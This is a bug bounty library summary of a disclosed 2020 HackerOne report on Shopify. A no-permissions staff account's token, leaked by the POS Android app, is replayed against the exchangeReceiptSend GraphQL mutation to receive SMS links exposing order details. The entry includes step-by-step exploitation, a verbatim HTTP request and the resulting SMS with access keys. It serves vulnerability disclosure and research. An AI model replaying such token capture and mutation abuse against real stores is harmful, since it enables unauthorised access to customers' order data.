# STAFF "No-Permissions" on the Store can retrieve the details Order via exchangeReceiptSend

A no-permissions staff account obtained an access token from the POS app and used the exchangeReceiptSend GraphQL mutation to SMS order receipt links, leaking order details.

- Payout: $1,000
- Severity: medium
- Program: Shopify
- Found by: langduvnsec
- Disclosed: 2020-08-24
- Write-up quality: 6/10
- Original: https://hackerone.com/reports/917875
- Library page: https://bugbountylibrary.com/r/h1%3A917875
- Tags: area:mobile domain:api domain:mobile impact:data-leak kind:bounty platform:hackerone sev:medium tech:android tech:graphql technique:js-analysis vuln:access-control vuln:info-disclosure

**Target:** Shopify POS Android app / admin GraphQL exchangeReceiptSend mutation
**Root cause:** The exchangeReceiptSend GraphQL mutation lacked authorization checks, allowing a staff account with no permissions to trigger receipt SMS for arbitrary exchange IDs.
**Steps:**
1. Create STAFF account with No Permissions on shop
2. Log in to Shopify POS Android; app calls /admin/api/unstable/shop.json before logout, exposing X-Shopify-Access-Token (capture via Fiddler)
3. Send POST to /admin/api/unversioned/graphql with captured token and `exchangeReceiptSend(exchangeId, recipient:{phone})` mutation
4. Receive SMS containing order authenticate links with keys for original and new orders
5. Open links to view order details
**How found:** Noticed the POS app still called /admin/api/unstable/shop.json and emitted an X-Shopify-Access-Token before logging out a no-permission staff user, then tested the exchangeReceiptSend mutation with that token.
**Exploitation:** Capture the staff token leaked by the POS app during login, then replay the exchangeReceiptSend GraphQL mutation with an arbitrary exchangeId and attacker-controlled phone number to receive SMS links containing order authenticate keys, granting access to order details.
**Insight:** Mobile apps often leak usable API tokens during failed/partial login flows even when UI access is denied; capture traffic from restricted accounts and replay privileged GraphQL mutations with the leaked token.

## Proof of concept (copied exactly from the original report)

**GraphQL exchangeReceiptSend mutation request**

```
POST https://langduvnsec.myshopify.com/admin/api/unversioned/graphql HTTP/1.1
X-Shopify-Access-Token: xxxxxxxxxxxxxxxxxxxxxxxx
user-agent: Dalvik/2.1.0 (Linux; U; Android 5.1.1; SM-G955N Build/NRD90M.G955NKSU1AQDC) Shopify POS 3.50.0/22606
Accept: application/json
Content-Type: application/json; charset=utf-8
Content-Length: 456
Host: langduvnsec.myshopify.com
Connection: Keep-Alive
Accept-Encoding: gzip

{ "query": "fragment ExchangeErrorFragment on ExchangeError { __typename code field message } mutation ExchangeReceiptSend($exchangeId: ID!, $input: ExchangeReceiptSendRecipientInput!) { __typename exchangeReceiptSend(exchangeId: $exchangeId, recipient: $input) { __typename exchange { __typename id } userErrors { __typename ... ExchangeErrorFragment } } }", "variables": {"exchangeId":"gid://shopify/Exchange/605028374","input":{"phone":"+84332947000"}}}
```

**SMS with order access links**

```
pVCSdKiitos, ett teit vaihdoit ostoksen kaupasta langduvnsec!  Alkuperinen tilaus:  langduvnsec.myshopify.com/26192052246/orders/8356d9c67229a59ae4634b94d514d548/authenticate?key=bbf35fac2c88bc3bd6b53cc14e2110f3 Uusi tilaus:  langduvnsec.myshopify.com/26192052246/orders/02418bf7e3604d4c5a09aba909193dc8/authenticate?key=38a448bc14b62c4cff031eb97e6ac186asfo
```

